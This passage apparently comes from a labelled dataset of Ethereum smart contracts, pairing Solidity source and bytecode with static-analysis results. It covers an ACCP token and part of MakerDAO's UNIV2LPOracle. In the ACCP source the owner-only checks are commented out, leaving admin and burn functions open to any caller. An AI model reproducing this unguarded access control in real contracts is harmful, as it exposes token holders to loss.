820191505090505b50925060009150600090505b600554811015611428578580156113bf575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806113f257508480156113f1575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561141b5780838381518110151561140657fe5b90602001906020020181815250506001820191505b8080600101915050611388565b8787036040519080825280602002602001820160405280156114595781602001602082028038833980820191505090505b5093508790505b868110156114ab57828181518110151561147657fe5b906020019060200201518489830381518110151561149057fe5b90602001906020020181815250508080600101915050611460565b505050949350505050565b6060806000806003805490506040519080825280602002602001820160405280156114f05781602001602082028038833980820191505090505b50925060009150600090505b60038054905081101561163d5760016000868152602001908152602001600020600060038381548110151561152d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611630576003818154811015156115b457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115ed57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b80806001019150506114fc565b8160405190808252806020026020018201604052801561166c5781602001602082028038833980820191505090505b509350600090505b818110156116eb57828181518110151561168a57fe5b9060200190602002015184828151811015156116a257fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611674565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173357600080fd5b60038054905081603282118061174857508181115b806117535750600081145b8061175e5750600082145b1561176857600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180457600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561185e57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118c857600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361197d85611cc1565b5050505050565b6000611991848484611e77565b905061199c816117ab565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119ea57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a4357600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a9b57600080fd5b600092505b600380549050831015611b84578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611ad357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b775783600384815481101515611b2a57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611b84565b8280600101935050611aa0565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008160008082815260200190815260200160002060030160009054906101000a900460ff1615611cf157600080fd5b611cfa83611012565b15611e7257600080848152602001908152602001600020915060018260030160006101000a81548160ff0219169083151502179055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260010154836002016040518082805460018160011615610100020316600290048015611dd95780601f10611dae57610100808354040283529160200191611dd9565b820191906000526020600020905b815481529060010190602001808311611dbc57829003601f168201915b505091505060006040518083038185875af19250505015611e2657827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e71565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008260030160006101000a81548160ff0219169083151502179055505b5b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415611e9e57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611f5d929190611ff3565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b815481835581811115611fee57818360005260206000209182019101611fed9190612073565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061203457805160ff1916838001178555612062565b82800160010185558215612062579182015b82811115612061578251825591602001919060010190612046565b5b50905061206f9190612073565b5090565b61209591905b80821115612091576000816000905550600101612079565b5090565b905600a165627a7a72305820fd43bfcb75a9a6f87b3931fbbfeefde3d448243a88370f15db6576f7028b822a0029
{"success": true, "error": null, "results": {}}
5,603
0xfcb7d670682145d64b11958a64414c227133b725
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error * source: https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /* "Interfaces" */ // this is expected from another contracts // if it wants to spend tokens of behalf of the token owner in our contract // this can be used in many situations, for example to convert pre-ICO tokens to ICO tokens // see 'approveAndCall' function contract allowanceRecipient { function receiveApproval(address _from, uint256 _value, address _inContract, bytes _extraData) public returns (bool); } // see: // https://github.com/ethereum/EIPs/issues/677 contract tokenRecipient { function tokenFallback(address _from, uint256 _value, bytes _extraData) public returns (bool); } /** * The ACCP contract * ver. 2.0 */ contract ACCP { // see: https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/BasicToken.sol using SafeMath for uint256; address public owner; /* --- ERC-20 variables */ // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#name // function name() constant returns (string name) string public name = "ACCP"; // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#symbol // function symbol() constant returns (string symbol) string public symbol = "ACCP"; // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#decimals // function decimals() constant returns (uint8 decimals) uint8 public decimals = 0; // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#totalsupply // function totalSupply() constant returns (uint256 totalSupply) // we start with zero and will create tokens as SC receives ETH uint256 public totalSupply = 10 * 1000000000; // 10B // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#balanceof // function balanceOf(address _owner) constant returns (uint256 balance) mapping(address => uint256) public balanceOf; // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#allowance // function allowance(address _owner, address _spender) constant returns (uint256 remaining) mapping(address => mapping(address => uint256)) public allowance; /* --- ERC-20 events */ // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#events // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#transfer-1 event Transfer(address indexed from, address indexed to, uint256 value); // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#approval event Approval(address indexed _owner, address indexed spender, uint256 value); /* --- Interaction with other contracts events */ event DataSentToAnotherContract(address indexed _from, address indexed _toContract, bytes _extraData); /* --- Other variables */ bool public transfersBlocked = false; mapping(address => bool) public whiteListed; /* ---------- Constructor */ // do not forget about: // https://medium.com/@codetractio/a-look-into-paritys-multisig-wallet-bug-affecting-100-million-in-ether-and-tokens-356f5ba6e90a constructor() public { // owner = msg.sender; owner = 0xff809E4ebB5F94171881b3CA9a0EBf4405C6370a; // (!!!) all tokens initially belong to smart contract itself balanceOf[this] = totalSupply; } event TransfersBlocked(address indexed by);// function blockTransfers() public {// only owner! // require(msg.sender == owner); // require(!transfersBlocked); transfersBlocked = true; emit TransfersBlocked(msg.sender); } event TransfersAllowed(address indexed by);// function allowTransfers() public {// only owner! // require(msg.sender == owner); // require(transfersBlocked); transfersBlocked = false; emit TransfersAllowed(msg.sender); } event AddedToWhiteList(address indexed by, address indexed added);// function addToWhiteList(address acc) public {// only owner! // require(msg.sender == owner); // require(!whiteListed[acc]); whiteListed[acc] = true; emit AddedToWhiteList(msg.sender, acc); } event RemovedFromWhiteList(address indexed by, address indexed removed);// function removeFromWhiteList(address acc) public {// only owner! // require(msg.sender == owner); // require(acc != owner); // require(!whiteListed[acc]); whiteListed[acc] = false; emit RemovedFromWhiteList(msg.sender, acc); } event tokensBurnt(address indexed by, uint256 value); // function burnTokens() public {// only owner! // require(msg.sender == owner); // require(balanceOf[this] > 0); emit tokensBurnt(msg.sender, balanceOf[this]); balanceOf[this] = 0; } /* --- ERC-20 Functions */ // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#methods // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#transfer function transfer(address _to, uint256 _value) public returns (bool){ return transferFrom(msg.sender, _to, _value); } // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#transferfrom function transferFrom(address _from, address _to, uint256 _value) public returns (bool){ // Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event (ERC-20) require(_value >= 0); // The function SHOULD throw unless the _from account has deliberately authorized the sender of the message via some mechanism require(msg.sender == _from || _value <= allowance[_from][msg.sender] || (_from == address(this) && msg.sender == owner)); // TODO: require(!transfersBlocked || (whiteListed[_from] && whiteListed[msg.sender])); // check if _from account have required amount require(_value <= balanceOf[_from]); // Subtract from the sender // balanceOf[_from] = balanceOf[_from] - _value; balanceOf[_from] = balanceOf[_from].sub(_value); // // Add the same to the recipient // balanceOf[_to] = balanceOf[_to] + _value; balanceOf[_to] = balanceOf[_to].add(_value); // If allowance used, change allowances correspondingly if (_from != msg.sender && (!(_from == address(this) && msg.sender == owner))) { // allowance[_from][msg.sender] = allowance[_from][msg.sender] - _value; allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); } // event emit Transfer(_from, _to, _value); return true; } // end of transferFrom // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#approve // there is and attack, see: // https://github.com/CORIONplatform/solidity/issues/6, // https://drive.google.com/file/d/0ByMtMw2hul0EN3NCaVFHSFdxRzA/view // but this function is required by ERC-20 function approve(address _spender, uint256 _value) public returns (bool){ require(_value >= 0); allowance[msg.sender][_spender] = _value; // event emit Approval(msg.sender, _spender, _value); return true; } /* ---------- Interaction with other contracts */ /* User can allow another smart contract to spend some shares in his behalf * (this function should be called by user itself) * @param _spender another contract's address * @param _value number of tokens * @param _extraData Data that can be sent from user to another contract to be processed * bytes - dynamically-sized byte array, * see http://solidity.readthedocs.io/en/v0.4.15/types.html#dynamically-sized-byte-array * see possible attack information in comments to function 'approve' * > this may be used to convert pre-ICO tokens to ICO tokens */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool) { approve(_spender, _value); // 'spender' is another contract that implements code as prescribed in 'allowanceRecipient' above allowanceRecipient spender = allowanceRecipient(_spender); // our contract calls 'receiveApproval' function of another contract ('allowanceRecipient') to send information about // allowance and data sent by user // 'this' is this (our) contract address if (spender.receiveApproval(msg.sender, _value, this, _extraData)) { emit DataSentToAnotherContract(msg.sender, _spender, _extraData); return true; } return false; } // end of approveAndCall // for convenience: function approveAllAndCall(address _spender, bytes _extraData) public returns (bool success) { return approveAndCall(_spender, balanceOf[msg.sender], _extraData); } /* https://github.com/ethereum/EIPs/issues/677 * transfer tokens with additional info to another smart contract, and calls its correspondent function * @param address _to - another smart contract address * @param uint256 _value - number of tokens * @param bytes _extraData - data to send to another contract * > this may be used to convert pre-ICO tokens to ICO tokens */ function transferAndCall(address _to, uint256 _value, bytes _extraData) public returns (bool success){ transferFrom(msg.sender, _to, _value); tokenRecipient receiver = tokenRecipient(_to); if (receiver.tokenFallback(msg.sender, _value, _extraData)) { emit DataSentToAnotherContract(msg.sender, _to, _extraData); return true; } return false; } // end of transferAndCall // for example for converting ALL tokens of user account to another tokens function transferAllAndCall(address _to, bytes _extraData) public returns (bool success){ return transferAndCall(_to, balanceOf[msg.sender], _extraData); } }
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166301bf6648811461012157806306fdde031461014457806308003f78146101ce578063095ea7b3146101e357806318160ddd1461021b5780632185810b1461024257806323b872dd14610257578063313ce567146102815780634000aea0146102ac57806347ee039414610315578063531794131461033657806370a082311461034b5780637dcfd3d51461036c578063816c7da4146103815780638da5cb5b146103e857806395d89b4114610419578063a9059cbb1461042e578063cae9ca5114610452578063d87692d9146104bb578063dd62ed3e14610522578063fa0fca8414610549575b600080fd5b34801561012d57600080fd5b50610142600160a060020a036004351661056a565b005b34801561015057600080fd5b506101596105e6565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019357818101518382015260200161017b565b50505050905090810190601f1680156101c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101da57600080fd5b50610142610673565b3480156101ef57600080fd5b50610207600160a060020a03600435166024356106fc565b604080519115158252519081900360200190f35b34801561022757600080fd5b50610230610772565b60408051918252519081900360200190f35b34801561024e57600080fd5b50610142610778565b34801561026357600080fd5b50610207600160a060020a03600435811690602435166044356107d7565b34801561028d57600080fd5b50610296610a25565b6040805160ff9092168252519081900360200190f35b3480156102b857600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610207948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610a2e9650505050505050565b34801561032157600080fd5b50610142600160a060020a0360043516610c07565b34801561034257600080fd5b50610207610c6b565b34801561035757600080fd5b50610230600160a060020a0360043516610c74565b34801561037857600080fd5b50610142610c86565b34801561038d57600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610207958335600160a060020a0316953695604494919390910191908190840183828082843750949750610ce79650505050505050565b3480156103f457600080fd5b506103fd610d0a565b60408051600160a060020a039092168252519081900360200190f35b34801561042557600080fd5b50610159610d19565b34801561043a57600080fd5b50610207600160a060020a0360043516602435610d71565b34801561045e57600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610207948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610d7e9650505050505050565b3480156104c757600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610207958335600160a060020a0316953695604494919390910191908190840183828082843750949750610e6d9650505050505050565b34801561052e57600080fd5b50610230600160a060020a0360043581169060243516610e89565b34801561055557600080fd5b50610207600160a060020a0360043516610ea6565b600054600160a060020a0316331461058157600080fd5b600054600160a060020a038281169116141561059c57600080fd5b600160a060020a038116600081815260086020526040808220805460ff191690555133917f3d08d7d61794d2c1a5c954404efc1a266c3e88bddb6347d4524acde3ea6926d191a350565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561066b5780601f106106405761010080835404028352916020019161066b565b820191906000526020600020905b81548152906001019060200180831161064e57829003601f168201915b505050505081565b600054600160a060020a0316331461068a57600080fd5b30600090815260056020526040812054116106a457600080fd5b30600090815260056020908152604091829020548251908152915133927fa9633bd9b706e13c4f89d2023be84c52e11fb3d325306abeb2ac90d927df18be92908290030190a230600090815260056020526040812055565b60008082101561070b57600080fd5b336000818152600660209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60045481565b600054600160a060020a0316331461078f57600080fd5b60075460ff1615156107a057600080fd5b6007805460ff1916905560405133907f6a9a2e7cd2f6206f0945d550c78f3a8a1c1d01ee1467e1c4f64fbe843af2548390600090a2565b6000808210156107e657600080fd5b33600160a060020a03851614806108205750600160a060020a03841660009081526006602090815260408083203384529091529020548211155b806108485750600160a060020a038416301480156108485750600054600160a060020a031633145b151561085357600080fd5b60075460ff1615806108975750600160a060020a03841660009081526008602052604090205460ff16801561089757503360009081526008602052604090205460ff165b15156108a257600080fd5b600160a060020a0384166000908152600560205260409020548211156108c757600080fd5b600160a060020a0384166000908152600560205260409020546108f0908363ffffffff610ebb16565b600160a060020a038086166000908152600560205260408082209390935590851681522054610925908363ffffffff610ecd16565b600160a060020a03808516600090815260056020526040902091909155841633148015906109725750600160a060020a038416301480156109705750600054600160a060020a031633145b155b156109d057600160a060020a03841660009081526006602090815260408083203384529091529020546109ab908363ffffffff610ebb16565b600160a060020a03851660009081526006602090815260408083203384529091529020555b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35060019392505050565b60035460ff1681565b600080610a3c3386866107d7565b50506040517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018690526060604484019081528551606485015285518894600160a060020a0386169463c0ee0b8a9490938a938a9360840190602085019080838360005b83811015610ac5578181015183820152602001610aad565b50505050905090810190601f168015610af25780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b158015610b1357600080fd5b505af1158015610b27573d6000803e3d6000fd5b505050506040513d6020811015610b3d57600080fd5b505115610bfa5784600160a060020a031633600160a060020a03167f21ef8368734ad953ed9ae3c3035d58f91f69a15ebc986c4e008bc18f8cdc4d69856040518080602001828103825283818151815260200191508051906020019080838360005b83811015610bb7578181015183820152602001610b9f565b50505050905090810190601f168015610be45780820380516001836020036101000a031916815260200191505b509250505060405180910390a360019150610bff565b600091505b509392505050565b600054600160a060020a03163314610c1e57600080fd5b600160a060020a038116600081815260086020526040808220805460ff191660011790555133917fe7043ad5fae13ebac4133f32ddab6a51e7066a5c9dc2a7f0b41417c10c5df48791a350565b60075460ff1681565b60056020526000908152604090205481565b600054600160a060020a03163314610c9d57600080fd5b60075460ff1615610cad57600080fd5b6007805460ff1916600117905560405133907fdc6a7ee7e731674a128f326193f0573a4a9bd1d523a2e982faa4d048fbe4653e90600090a2565b33600090815260056020526040812054610d0390849084610d7e565b9392505050565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561066b5780601f106106405761010080835404028352916020019161066b565b6000610d033384846107d7565b600080610d8b85856106fc565b50506040517f8f4ffcb100000000000000000000000000000000000000000000000000000000815233600482018181526024830186905230604484018190526080606485019081528651608486015286518995600160a060020a03871695638f4ffcb19590948b9490938b9360a40190602085019080838360005b83811015610e1e578181015183820152602001610e06565b50505050905090810190601f168015610e4b5780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b158015610b1357600080fd5b33600090815260056020526040812054610d0390849084610a2e565b600660209081526000928352604080842090915290825290205481565b60086020526000908152604090205460ff1681565b600082821115610ec757fe5b50900390565b81810182811015610eda57fe5b929150505600a165627a7a72305820846e6da2b444dae7a32215efcade8f7f6e6c435f0efadb55eceec6ad91e381db0029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
5,604
0xc968b955bca6c2a3c828d699ccacbfdc02402d89
// SPDX-License-Identifier: GPL-3.0-or-later /// UNIV2LPOracle.sol // Copyright (C) 2017-2020 Maker Ecosystem Growth Holdings, INC. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /////////////////////////////////////////////////////// // // // Methodology for Calculating LP Token Price // // // /////////////////////////////////////////////////////// // A naïve approach to calculate the price of LP tokens, assuming the protocol // fee is zero, is to compute the price of the assets locked in its liquidity // pool, and divide it by the total amount of LP tokens issued: // // (p_0 * r_0 + p_1 * r_1) / LP_supply (1) // // where r_0 and r_1 are the reserves of the two tokens held by the pool, and // p_0 and p_1 are their respective prices in some reference unit of account. // // However, the price of LP tokens (i.e. pool shares) needs to be evaluated // based on reserve values r_0 and r_1 that cannot be arbitraged, i.e. values // that give the two halves of the pool equal economic value: // // r_0 * p_0 = r_1 * p_1 (2) // // Furthermore, two-asset constant product pools, neglecting fees, satisfy // (before and after trades): // // r_0 * r_1 = k (3) // // Using (2) and (3) we can compute R_i, the arbitrage-free reserve values, in a // manner that depends only on k (which can be derived from the current reserve // balances, even if they are far from equilibrium) and market prices p_i // obtained from a trusted source: // // R_0 = sqrt(k * p_1 / p_0) (4) // and // R_1 = sqrt(k * p_0 / p_1) (5) // // The value of an LP token is then, replacing (4) and (5) in (1): // // (p_0 * R_0 + p_1 * R_1) / LP_supply // = 2 * sqrt(k * p_0 * p_1) / LP_supply (6) // // k can be re-expressed in terms of the current pool reserves r_0 and r_1: // // 2 * sqrt((r_0 * p_0) * (r_1 * p_1)) / LP_supply (7) // // The structure of (7) is well-suited for use in fixed-point EVM calculations, as the // terms (r_0 * p_0) and (r_1 * p_1), being the values of the reserves in the reference unit, // should have reasonably-bounded sizes. This reduces the likelihood of overflow due to // tokens with very low prices but large total supplies. pragma solidity =0.6.12; interface ERC20Like { function decimals() external view returns (uint8); function balanceOf(address) external view returns (uint256); function totalSupply() external view returns (uint256); } interface UniswapV2PairLike { function sync() external; function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112,uint112,uint32); // reserve0, reserve1, blockTimestampLast } interface OracleLike { function read() external view returns (uint256); } // Factory for creating Uniswap V2 LP Token Oracle instances contract UNIV2LPOracleFactory { mapping(address => bool) public isOracle; event NewUNIV2LPOracle(address owner, address orcl, bytes32 wat, address indexed tok0, address indexed tok1, address orb0, address orb1); // Create new Uniswap V2 LP Token Oracle instance function build( address _owner, address _src, bytes32 _wat, address _orb0, address _orb1 ) public returns (address orcl) { address tok0 = UniswapV2PairLike(_src).token0(); address tok1 = UniswapV2PairLike(_src).token1(); orcl = address(new UNIV2LPOracle(_src, _wat, _orb0, _orb1)); UNIV2LPOracle(orcl).rely(_owner); UNIV2LPOracle(orcl).deny(address(this)); isOracle[orcl] = true; emit NewUNIV2LPOracle(_owner, orcl, _wat, tok0, tok1, _orb0, _orb1); } } contract UNIV2LPOracle { // --- Auth --- mapping (address => uint256) public wards; // Addresses with admin authority function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin modifier auth { require(wards[msg.sender] == 1, "UNIV2LPOracle/not-authorized"); _; } address public immutable src; // Price source // hop and zph are packed into single slot to reduce SLOADs; // this outweighs the cost from added bitmasking operations. uint8 public stopped; // Stop/start ability to update uint16 public hop = 1 hours; // Minimum time in between price updates uint232 public zph; // Time of last price update plus hop bytes32 public immutable wat; // Label of token whose price is being tracked // --- Whitelisting --- mapping (address => uint256) public bud; modifier toll { require(bud[msg.sender] == 1, "UNIV2LPOracle/contract-not-whitelisted"); _; } struct Feed { uint128 val; // Price uint128 has; // Is price valid } Feed internal cur; // Current price (mem slot 0x3) Feed internal nxt; // Queued price (mem slot 0x4) // --- Data --- uint256 private immutable UNIT_0; // Numerical representation of one token of token0 (10^decimals) uint256 private immutable UNIT_1; // Numerical representation of one token of token1 (10^decimals) address public orb0; // Oracle for token0, ideally a Medianizer address public orb1; // Oracle for token1, ideally a Medianizer // --- Math --- uint256 constant WAD = 10 ** 18; function add(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x + _y) >= _x, "UNIV2LPOracle/add-overflow"); } function sub(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x - _y) <= _x, "UNIV2LPOracle/sub-underflow"); } function mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require(_y == 0 || (z = _x * _y) / _y == _x, "UNIV2LPOracle/mul-overflow"); } // FROM https://github.com/abdk-consulting/abdk-libraries-solidity/blob/16d7e1dd8628dfa2f88d5dadab731df7ada70bdd/ABDKMath64x64.sol#L687 function sqrt (uint256 _x) private pure returns (uint128) { if (_x == 0) return 0; else { uint256 xx = _x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; // Seven iterations should be enough uint256 r1 = _x / r; return uint128 (r < r1 ? r : r1); } } // --- Events --- event Rely(address indexed usr); event Deny(address indexed usr); event Step(uint256 hop); event Stop(); event Start(); event Value(uint128 curVal, uint128 nxtVal); event Link(uint256 id, address orb); event Kiss(address a); event Diss(address a); // --- Init --- constructor (address _src, bytes32 _wat, address _orb0, address _orb1) public { require(_src != address(0), "UNIV2LPOracle/invalid-src-address"); require(_orb0 != address(0) && _orb1 != address(0), "UNIV2LPOracle/invalid-oracle-address"); wards[msg.sender] = 1; emit Rely(msg.sender); src = _src; wat = _wat; uint256 dec0 = uint256(ERC20Like(UniswapV2PairLike(_src).token0()).decimals()); require(dec0 <= 18, "UNIV2LPOracle/token0-dec-gt-18"); UNIT_0 = 10 ** dec0; uint256 dec1 = uint256(ERC20Like(UniswapV2PairLike(_src).token1()).decimals()); require(dec1 <= 18, "UNIV2LPOracle/token1-dec-gt-18"); UNIT_1 = 10 ** dec1; orb0 = _orb0; orb1 = _orb1; } function stop() external auth { stopped = 1; delete cur; delete nxt; zph = 0; emit Stop(); } function start() external auth { stopped = 0; emit Start(); } function step(uint256 _hop) external auth { require(_hop <= uint16(-1), "UNIV2LPOracle/invalid-hop"); hop = uint16(_hop); emit Step(_hop); } function link(uint256 _id, address _orb) external auth { require(_orb != address(0), "UNIV2LPOracle/no-contract-0"); if(_id == 0) { orb0 = _orb; } else if (_id == 1) { orb1 = _orb; } else { revert("UNIV2LPOracle/invalid-id"); } emit Link(_id, _orb); } // For consistency with other oracles. function zzz() external view returns (uint256) { if (zph == 0) return 0; // backwards compatibility return sub(zph, hop); } function pass() external view returns (bool) { return block.timestamp >= zph; } function seek() internal returns (uint128 quote) { // Sync up reserves of uniswap liquidity pool UniswapV2PairLike(src).sync(); // Get reserves of uniswap liquidity pool (uint112 r0, uint112 r1,) = UniswapV2PairLike(src).getReserves(); require(r0 > 0 && r1 > 0, "UNIV2LPOracle/invalid-reserves"); // All Oracle prices are priced with 18 decimals against USD uint256 p0 = OracleLike(orb0).read(); // Query token0 price from oracle (WAD) require(p0 != 0, "UNIV2LPOracle/invalid-oracle-0-price"); uint256 p1 = OracleLike(orb1).read(); // Query token1 price from oracle (WAD) require(p1 != 0, "UNIV2LPOracle/invalid-oracle-1-price"); // Get LP token supply uint256 supply = ERC20Like(src).totalSupply(); // This calculation should be overflow-resistant even for tokens with very high or very // low prices, as the dollar value of each reserve should lie in a fairly controlled range // regardless of the token prices. uint256 value0 = mul(p0, uint256(r0)) / UNIT_0; // WAD uint256 value1 = mul(p1, uint256(r1)) / UNIT_1; // WAD uint256 preq = mul(2 * WAD, sqrt(mul(value0, value1))) / supply; // Will revert if supply == 0 require(preq < 2 ** 128, "UNIV2LPOracle/quote-overflow"); quote = uint128(preq); // WAD } function poke() external { // Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy. uint256 hop_; { // Block-scoping these variables saves some gas. uint256 stopped_; uint256 zph_; assembly { let slot1 := sload(1) stopped_ := and(slot1, 0xff ) hop_ := and(shr(8, slot1), 0xffff) zph_ := shr(24, slot1) } // When stopped, values are set to zero and should remain such; thus, disallow updating in that case. require(stopped_ == 0, "UNIV2LPOracle/is-stopped"); // Equivalent to requiring that pass() returns true. // The logic is repeated instead of calling pass() to save gas // (both by 